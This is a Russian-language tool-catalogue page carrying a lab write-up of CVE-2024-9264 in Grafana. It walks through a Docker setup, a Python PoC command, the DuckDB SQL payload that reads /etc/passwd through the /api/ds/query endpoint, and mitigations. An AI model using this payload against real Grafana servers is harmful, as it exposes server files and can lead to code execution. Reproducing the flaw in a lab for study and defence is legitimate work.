Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-9264 | Kitploit
Инструменты/GitHubGitHub/yeonchoda/cve-2024-9264
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubyeonchoda/cve-2024-9264

CVE-2024-9264

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-9264

Справочный документ https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264

1. Сводка об уязвимости

ПунктОписание
CVECVE-2024-9264
ЦельGrafana (SQL Expressions)
ВлияниеLocal File Inclusion (LFI), Remote Code Execution (RCE)
СерьёзностьCritical (CVSS 9.9)
Условия атакиАутентифицированный пользователь (права администратора)
Способ атакиВыполнение DuckDB SQL через функцию SQL Expressions

Grafana — это инструмент мониторинга с открытым исходным кодом, который визуализирует различные данные (серверы, приложения, базы данных и т. д.) в виде наглядных графиков и информационных панелей.

CVE-2024-9264 — это уязвимость, возникающая в функции SQL Expressions в Grafana.

DuckDB SQL, используемый внутри Grafana, не проверяется должным образом, что позволяет атакующему выполнять произвольный DuckDB SQL через SQL Expressions.

Используя это, можно:

  • читать локальные файлы сервера (LFI);
  • выполнять системные команды (RCE);
  • раскрывать конфиденциальную информацию.

В рамках данной лабораторной работы мы запустили Grafana 11.0.0 в среде Docker и воспроизвели уязвимость, прочитав файл /etc/passwd с помощью PoC.


2. Настройка окружения

Лабораторное окружение

КомпонентОписание
OSUbuntu
DockerDocker Compose
Grafana11.0.0

Загрузка репозитория

root@kitploit:~
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264

Запуск Docker

root@kitploit:~
docker-compose up

Проверка запуска Grafana

root@kitploit:~
http://localhost:3000

Запуск Grafana

Учётные данные Grafana по умолчанию следующие:

root@kitploit:~
ID : admin
PW : admin

3. Условия уязвимости

Для возникновения уязвимости должны быть выполнены следующие условия:

  • Использование уязвимой версии Grafana
  • Доступность функции SQL Expressions
  • Возможность входа атакующего в Grafana
  • Включённое SQL Expression для DuckDB

В данной лабораторной работе использовалась учётная запись администратора по умолчанию (admin/admin).


4. Воспроизведение

Запуск PoC

Для чтения локального файла была выполнена следующая команда:

root@kitploit:~
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"

PoC создаёт следующее SQL Expression:

root@kitploit:~
SELECT * FROM read_csv_auto('/etc/passwd')

Этот запрос отправляется через API /api/ds/query Grafana.


Проверка результата

Grafana выполнила SQL-запрос как есть и вернула содержимое /etc/passwd в ответе.

Выполнение PoC.py

Помимо /etc/passwd можно просматривать и другие файлы. Вывод /etc/group

Таким образом, было подтверждено успешное выполнение Local File Inclusion.


5. Код PoC

PoC написан на Python и выполняет следующие действия:

  1. Вызов API Grafana (/api/ds/query)
  2. Создание SQL Expression
  3. Отправка запроса в формате JSON
  4. Разбор ответа (JSON)
  5. Вывод содержимого файла

SQL, создаваемый при чтении файла, выглядит следующим образом:

root@kitploit:~
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"

API-запрос выполняется следующим образом:

root@kitploit:~
response = requests.post(
    api_url,
    auth=(username, password),
    headers=headers,
    data=json.dumps(payload),
    verify=False
)

Это также можно проверить с помощью команды curl. curl

6. Меры противодействия

1. Обновление Grafana до последней версии

Наиболее эффективная мера — обновление до последней версии, в которой устранена данная уязвимость.


2. Ограничение функции SQL Expressions

Неиспользуемые функции SQL Expressions следует отключить или ограничить их использование, применив принцип минимальных привилегий.


3. Защита учётной записи администратора

  • Сменить учётную запись по умолчанию (admin/admin)
  • Использовать надёжные пароли
  • Свести количество учётных записей администратора к минимуму

Заключение

После развёртывания Grafana 11.0.0 в среде Docker была воспроизведена уязвимость CVE-2024-9264.

С помощью PoC, написанного на Python, была успешно использована функция SQL Expressions и прочитан файл /etc/passwd. Это подтверждает, что при недостаточной проверке входных данных SQL Expressions могут быть раскрыты конфиденциальные файлы, а в зависимости от окружения возможно и удалённое выполнение кода. Подобные уязвимости можно предотвратить с помощью таких мер безопасности, как обновление до последней версии, ограничение функции SQL Expressions и защита учётных записей администратора.

Скачать инструмент